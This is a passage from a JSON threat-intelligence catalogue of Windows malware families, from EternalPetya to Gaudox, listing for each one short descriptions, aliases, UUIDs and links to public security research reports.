          "https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/",
          "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b",
          "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
          "https://securelist.com/schroedingers-petya/78870/",
          "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
          "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/",
          "https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/",
          "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna",
          "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4",
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          "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer",
          "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/",
          "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
          "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/",
          "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html",
          "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/",
          "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html",
          "https://securelist.com/bad-rabbit-ransomware/82851/"
        ],
        "synonyms": [
          "BadRabbit",
          "Diskcoder.C",
          "ExPetr",
          "NonPetya",
          "NotPetya",
          "Nyetya",
          "Petna",
          "Pnyetya",
          "nPetya"
        ],
        "type": []
      },
      "uuid": "6f736038-4f74-435b-8904-6870ee0e23ba",
      "value": "EternalPetya"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot",
          "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf",
          "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html",
          "https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise"
        ],
        "synonyms": [
          "HighTide"
        ],
        "type": []
      },
      "uuid": "91af1080-6378-4a90-ba1e-78634cd31efe",
      "value": "EtumBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny",
          "https://www.cyphort.com/evilbunny-malware-instrumented-lua/",
          "https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope"
        ],
        "synonyms": [],
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      },
      "uuid": "dc39dcdf-50e7-4d55-94a0-926853f344f3",
      "value": "Evilbunny"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab",
          "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf"
        ],
        "synonyms": [
          "Vidgrab"
        ],
        "type": []
      },
      "uuid": "438c6d0f-03f0-4b49-89d2-40bf5349c3fc",
      "value": "EvilGrab"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum",
          "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/",
          "http://www.pwncode.club/2018/05/javascript-based-bot-using-github-c.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "da922c36-ca13-4ea2-a22d-471e91ddac93",
      "value": "EVILNUM (Windows)"
    },
    {
      "description": "Privately modded version of the Pony stealer.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony",
          "https://www.s21sec.com/en/blog/2017/07/ramnit-and-its-pony-module/",
          "https://techhelplist.com/spam-list/1104-2017-03-27-your-amazon-com-order-has-shipped-malware",
          "https://threatpost.com/docusign-phishing-campaign-includes-hancitor-downloader/125724/"
        ],
        "synonyms": [
          "CREstealer"
        ],
        "type": []
      },
      "uuid": "e26579d9-1d93-4a3b-a41e-263254d85189",
      "value": "EvilPony"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.evrial",
          "https://www.bleepingcomputer.com/news/security/evrial-trojan-switches-bitcoin-addresses-copied-to-windows-clipboard/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "af3a3ece-e67f-457a-be72-7651bc720342",
      "value": "Evrial"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur",
          "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
        ],
        "synonyms": [
          "Saber",
          "Sabresac"
        ],
        "type": []
      },
      "uuid": "3cec2c3c-1669-40cf-8612-eb826f7d2c98",
      "value": "Excalibur"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool",
          "https://github.com/nccgroup/Royal_APT",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "74f8db32-799c-41e5-9815-6272908ede57",
      "value": "MS Exchange Tool"
    },
    {
      "description": "ExileRAT is a simple RAT platform capable of getting information on the system (computer name, username, listing drives, network adapter, process name), getting/pushing files and executing/terminating processes.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.exilerat",
          "https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c932a2f3-1470-4b0c-8412-2d081901277b",
      "value": "Exile RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat",
          "https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017",
          "https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html",
          "https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat",
          "https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html"
        ],
        "synonyms": [
          "ExtRat"
        ],
        "type": []
      },
      "uuid": "6ec2b6b1-c1a7-463a-b135-edb51764cf38",
      "value": "Xtreme RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid",
          "http://blog.talosintel.com/2017/01/Eye-Pyramid.html",
          "https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a7489029-21d4-44c9-850a-8f656a98cb22",
      "value": "Eye Pyramid"
    },
    {
      "description": "According to Talos, this trojan injects into other processes, disables security features and tries to contact several domains, waiting for instruction.\r\n\r\nThere seem to be two versions of this malware: one with the FakeDGA-domains in plaintext, and one with AES-ECB-encrypted domains (using the Windows-API).",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakedga",
          "http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html",
          "https://github.com/360netlab/DGA/issues/36",
          "http://www.freebuf.com/column/153424.html"
        ],
        "synonyms": [
          "WillExec"
        ],
        "type": []
      },
      "uuid": "31c248cb-51b5-4bb7-801f-d8520d2b5789",
      "value": "FakeDGA"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean",
          "https://blog.threattrack.com/fakerean-comes-of-age-turns-hard-core/",
          "https://0x3asecurity.wordpress.com/2015/11/30/134260124544/",
          "https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf",
          "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv"
        ],
        "synonyms": [
          "Braviax"
        ],
        "type": []
      },
      "uuid": "653df134-88c9-47e2-99a5-06e0406ab6d4",
      "value": "FakeRean"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc",
          "http://www.welivesecurity.com/2015/07/30/operation-potao-express/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6b0030bc-6e45-43b0-9175-15fe8fbd0942",
      "value": "FakeTC"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny",
          "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6d441619-c5f5-45ff-bc63-24cecd0b237e",
      "value": "Fanny"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt",
          "https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "29f4ae5a-4ccd-451b-bd3e-d301865da034",
      "value": "FantomCrypt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer",
          "https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f197b0a8-6bea-42ea-b57f-8f6f202f7602",
      "value": "Farseer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/",
          "http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf",
          "http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1bf03bbb-d3a2-4713-923b-218186c86914",
      "value": "FastPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus",
          "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "07a41ea7-17b2-4852-bfd7-54211c477dc0",
      "value": "Felismus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot",
          "https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257",
          "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
          "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e58755ac-3d0c-4ed3-afeb-e929816c8018",
      "value": "Felixroot"
    },
    {
      "description": "Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo",
          "http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html",
          "https://feodotracker.abuse.ch/",
          "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/",
          "http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html"
        ],
        "synonyms": [
          "Bugat",
          "Cridex"
        ],
        "type": []
      },
      "uuid": "66781866-f064-467d-925d-5e5f290352f0",
      "value": "Feodo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ff_rat",
          "https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e701b875-8ade-434f-89ff-6c367099bfd8",
      "value": "FF RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom",
          "https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ed0b8ac9-973b-4aaa-9904-8c7ed2e73933",
      "value": "FileIce"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy",
          "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "87467366-679d-425c-8bea-b9f77c543252",
      "value": "Final1stSpy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos",
          "https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/",
          "https://blogs.cisco.com/security/talos/poseidon"
        ],
        "synonyms": [
          "Poseidon"
        ],
        "type": []
      },
      "uuid": "ae914b9a-67a2-425d-bef0-3a9624a207ba",
      "value": "FindPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher",
          "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/",
          "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html",
          "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html",
          "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
          "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf",
          "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation",
          "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
        ],
        "synonyms": [
          "FinSpy"
        ],
        "type": []
      },
      "uuid": "541b64bc-87ec-4cc2-aaee-329355987853",
      "value": "FinFisher RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball",
          "http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9ad28356-184c-4f02-89f5-1b70981598c3",
      "value": "Fireball"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt",
          "https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c4346ed0-1d74-4476-a78c-299bce0409bd",
      "value": "FireCrypt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv",
          "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9715c6bc-4b1e-49a2-b1d8-db4f4c4f042c",
      "value": "FireMalv"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.first_ransom",
          "https://twitter.com/JaromirHorejsi/status/815949909648150528"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1ab17959-6254-49af-af26-d34e87073e49",
      "value": "FirstRansom"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame",
          "https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c40dbede-490f-4df4-a242-a2461e3cfc4e",
      "value": "Flame"
    },
    {
      "description": " FLASHFLOOD will scan inserted removable drives for targeted files, and copy those files from the\r\nremovable drive to the FLASHFLOOD-infected system. FLASHFLOOD may also log or copy additional data from the victim computer, such as system information\r\nor contacts.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0ce7e94e-da65-43e4-86f0-9a0bb21d1118",
      "value": "FLASHFLOOD"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy",
          "https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930",
          "https://github.com/Coldzer0/Ammyy-v3",
          "https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/",
          "https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat",
          "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "18419355-fd28-41a6-bffe-2df68a7166c4",
      "value": "FlawedAmmyy"
    },
    {
      "description": "According to ProofPoint, FlawedGrace is written in C++ and can be categorized as a Remote Access Trojan (RAT). It seems to have been developed in the second half of 2017 mainly.\r\n\r\nFlawedGrace uses a series of commands:\r\nFlawedGrace also uses a series of commands, provided below for reference:\r\n* desktop_stat\r\n* destroy_os\r\n* target_download\r\n* target_module_load\r\n* target_module_load_external\r\n* target_module_unload\r\n* target_passwords\r\n* target_rdp\r\n* target_reboot\r\n* target_remove\r\n* target_script\r\n* target_servers\r\n* target_update\r\n* target_upload\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace",
          "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
          "https://www.msreverseengineering.com/blog/2019/1/14/a-quick-solution-to-an-ugly-reverse-engineering-problem"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ef591233-4246-414b-9fbd-46838f3e5da2",
      "value": "FlawedGrace"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy",
          "https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2431a1e5-4e64-454a-94c8-8a95f88d2d4a",
      "value": "FlexiSpy (Windows)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot",
          "https://www.flashpoint-intel.com/blog/cybercrime/floki-bot-emerges-new-malware-kit/",
          "https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/",
          "https://www.cylance.com/en_us/blog/threat-spotlight-flokibot-pos-malware.html",
          "https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/",
          "http://adelmas.com/blog/flokibot.php",
          "http://blog.talosintel.com/2016/12/flokibot-collab.html#more",
          "https://www.flashpoint-intel.com/flokibot-curious-case-brazilian-connector/",
          "https://www.arbornetworks.com/blog/asert/flokibot-invades-pos-trouble-brazil/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "057ff707-a008-4ab8-8370-22b689ed3412",
      "value": "FlokiBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop",
          "https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0024c2d9-673f-4999-b240-4ae61a72c9b9",
      "value": "FlowerShop"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif",
          "https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b1b2e501-b68f-4e2e-ab98-85e9bda0fbcd",
      "value": "Floxif"
    },
    {
      "description": "Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc",
          "https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "79e9df7d-abc8-45bd-abd3-be9b975f1a03",
      "value": "Flusihoc"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber",
          "https://blog.malwarebytes.com/threat-analysis/2015/06/elusive-hanjuan-ek-caught-in-new-malvertising-campaign/",
          "http://www.govcert.admin.ch/downloads/whitepapers/govcertch_fobber_analysis.pdf",
          "https://www.govcert.admin.ch/blog/12/analysing-a-new-ebanking-trojan-called-fobber",
          "http://blog.wizche.ch/fobber/malware/analysis/2015/08/10/fobber-encryption.html",
          "http://byte-atlas.blogspot.ch/2015/08/knowledge-fragment-unwrapping-fobber.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bb836040-c161-4932-8f89-bc2ca2e8c1c0",
      "value": "Fobber"
    },
    {
      "description": "FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called \"Babushka Crypter\" by Insidemalware.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook",
          "https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html",
          "http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/",
          "https://www.peerlyst.com/posts/how-to-understand-formbook-a-new-malware-as-a-service-sudhendu?",
          "http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html",
          "https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/",
          "https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/",
          "http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html",
          "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/",
          "https://www.botconf.eu/wp-content/uploads/2018/12/2018-R-Jullian-In-depth-Formbook-Malware-Analysis.pdf",
          "https://www.peerlyst.com/posts/how-to-analyse-formbook-a-new-malware-as-a-service-sudhendu?trk=explore_page_resources_recent",
          "https://blog.talosintelligence.com/2018/06/my-little-formbook.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8378b417-605e-4196-b31f-a0c96d75aa50",
      "value": "Formbook"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat",
          "https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
        ],
        "synonyms": [
          "ffrat"
        ],
        "type": []
      },
      "uuid": "9aacd2c7-bcd6-4a82-8250-cab2e4e2d402",
      "value": "FormerFirstRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki",
          "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/",
          "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f86b675a-b7b2-4a40-b4fd-f62fd96440f1",
      "value": "Freenki Loader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec",
          "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
          "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
        ],
        "synonyms": [
          "BitPaymer"
        ],
        "type": []
      },
      "uuid": "58ae14a9-c4aa-490c-8404-0eb590f5650d",
      "value": "FriedEx"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim",
          "https://sentinelone.com/blogs/sfg-furtims-parent/",
          "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4341&sid=af76b944112a234fa933cc934d21cd9f"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c9d78931-318c-4b34-af33-c90f6612a4f1",
      "value": "Furtim"
    },
    {
      "description": "GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.\r\n\r\nIt seems to make use of iplogger.com for tracking.\r\nIt employed WMI to check the system for\r\n- IWbemServices::ExecQuery - SELECT * FROM Win32_Processor\r\n- IWbemServices::ExecQuery - select * from Win32_VideoController\r\n- IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c12f1363-2bc8-4ffb-8f31-cbb5f85e0ffe",
      "value": "GalaxyLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos",
          "http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf"
        ],
        "synonyms": [
          "pios"
        ],
        "type": []
      },
      "uuid": "8f785ee5-1663-4972-9a64-f02e7c46ba66",
      "value": "gamapos"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c4afb7c6-cfba-40d7-aa79-a2829828ed92",
      "value": "Gameover DGA"
    },
    {
      "description": "Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p",
          "https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf",
          "http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf",
          "https://www.wired.com/?p=2171700",
          "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware",
          "https://www.fox-it.com/nl/wp-content/uploads/sites/12/FoxIT-Whitepaper_Blackhat-web.pdf"
        ],
        "synonyms": [
          "GOZ",
          "ZeuS P2P"
        ],
        "type": []
      },
      "uuid": "ffc8c386-e9d6-4889-afdf-ebf37621bc4f",
      "value": "Gameover P2P"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9664712b-81f1-4c52-ad4d-a657a120fded",
      "value": "Gamotrol"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab",
          "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/",
          "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/",
          "https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/",
          "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/",
          "http://asec.ahnlab.com/1145",
          "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/",
          "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/",
          "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/",
          "https://isc.sans.edu/diary/23417",
          "https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html",
          "https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html",
          "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/",
          "http://csecybsec.com/download/zlab/20181001_CSE_GandCrabv5.pdf",
          "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/",
          "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom"
        ],
        "synonyms": [
          "GrandCrab"
        ],
        "type": []
      },
      "uuid": "a8d83baa-cf2e-4329-92d7-06c8ccdeb275",
      "value": "Gandcrab"
    },
    {
      "description": "Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox",
          "http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html"
        ],
        "synonyms": [],
        "type": []
      },
